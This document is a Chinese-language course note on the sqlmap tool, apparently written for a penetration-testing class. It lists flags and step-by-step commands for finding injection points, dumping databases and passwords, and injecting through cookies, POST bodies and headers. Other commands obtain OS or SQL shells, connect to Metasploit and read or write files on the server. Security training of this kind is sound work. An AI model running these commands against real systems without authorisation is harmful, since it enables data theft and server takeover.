SQLmap自动注入工具命令（10.28 10.29 第二十八 二十九天）

SQL注入工具：明小子  啊D   萝卜头   sqlmap  等等

SQLMAP：开源的自动化诸如利用工具，支持的数据库有12中，在/plugins中可以看到支持的数据库种类，在所有注入利用工具中他是最好用的！！

支持的注入类型：布尔  时间  报错  联合  堆查询   内联

可以获取用户名   密码  权限   角色     数据库（表   字段  内容）

可以爆破识别密文数据

getshell

命令执行

脱库/删库

内置文档介绍：

doc   介绍文档

extra     它sqlmap额外的功能，运行cmd执行命令

lib   是sqlmap的核心功能代码

plugins   包含12种数据库识别程序

data   存放一些攻击过程中使用的工具或者命令

procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

shell  远程命令和后门

txt  表名字典  列名字典   ua字典

udf  存放攻击载荷 payload

xml  存放检测的脚本

tamper   包含各种绕WAF的处理脚本

thirdparty  包含了第三方插件   颜色  优化  等等

SQLMAP工作流程：

（1）初始化

（2）开始检测

1>  检测之前是否注入过（会把检测的URL默认存放在用户家目录.sqlmap下output，可以指定存放目录    --output-dir 参数可以指定存放目录）

2>  解析URL，判断该URL是否可访问

3>  检测是否有WAF

sqlmup -u "目录URL" --identify-waf

sqlmap -u "目录URL" --check-waf

（3）执行用户输入的参数

-u   指定URL

-p   指定参数

-v   指定显示的级别

-m   批量测试

-p   指定测试参数

-r   读取文件

--dbs   数据库

--current-db   当前数据库

--tables   表名

--columns   列名

--dump  获取数据

--batch   跳过问询（yes）直接执行

--DBMS   指定数据库类型

--current-user   当前数据库

--users   所有用户

--passwords   数据库密码

--hostname  系统名称

--baner   数据库信息

--roles   数据库用户角色

--level   测试等级

--delay 2   延时两秒注入

步骤详解

（1）判断注入点：sqlmap -u "目标URL"     当看到探测结果中有环境参数（系统类型、数据库类型）则表名有注入点

（2）查看所有数据库：sqlmap -u "目标URL" --dbs --dbms mysql

（3）获取当前数据库：sqlmap -u "目标URL" --current-db --dbms mysql

（4）获取当前数据库下的表：sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

（5）获取当前数据库中指定表下的字段名：sqlmap -u "目标URL" -D 库名 -T 表名 --columns

（6）获取指定字段对应的内容：sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump（注意：多个字段名需要使用逗号隔开）

（7）cookie型注入

python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52"

POST型注入的sqlmap利用方法

拦截数据包保存txt文件

python sqlmap.py -r post.txt -p "uname"  （-r读取指定的文件，-p告诉sqlmap测试哪个参数）"

COOKIE注入

python sqlmap.py -r post_cookie.txt --level 2

python sqlmap.py -u "URL" --cookie="user=1" --level 2

--level=LEVEL  执行测试的等级（1-5，默认是1）

XFF注入

python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

python sqlmap.py -r "post_xff.txt" --level 3

UA注入：

python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

伪静态注入：

python sqlmap.py -u "URL/1*.html"   加个*

-v 0-6

0、只显示python错误以及严重的信息

1、同事显示基本信息和警告信息（默认）

2、同事显示debug信息。

3、同事显示注入的payload（建议使用次级别，可）

--risk 0-3

从0-3共有四个风险等级

批量测试：

python sqlmap.py -m piliang.txt

SQLMAP注入点执行系统命令或者交互式shell

（条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}）

sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

sqlmap.py -u "target_url" --os-shell    获取系统的shell

sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

sqlmap.py -u "target_url" --delay 2   延时两秒注入

sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

sqlmap.py -u "target_url" --sql-shell     反弹SQL的shell

sqlmap直连mysql数据库

sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

sqlmap注入利用Access

Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

python sqlmap.py -u "target_url" --tables

sqlmap与msf结合使用

sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

msf存储路径：/usr/share/metasploit-framework

sqlmap与BP的结合使用：

1、给BP代开抓包储存

2、然后抓取目标URL

3、打开sqlmap输入如下命令：sqlmap.py -l "BP储存的数据包文件"  -batch

-l 表示从文件读取http请求，测试完之后的结果如下，并生成一个.csv格式的文件。

sqlmap读写文件

--file-read=（读取文件的绝对路径）  从后端的数据库管理系统文件读取文件（物理路径）

sqlmap.py -u "URL" --file-read=（读取文件的绝对路径）

--file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

sqlmap.py -u "URL" --file-read=（写入目标机的绝对路径） --file-write=（读取攻击者的文件路径）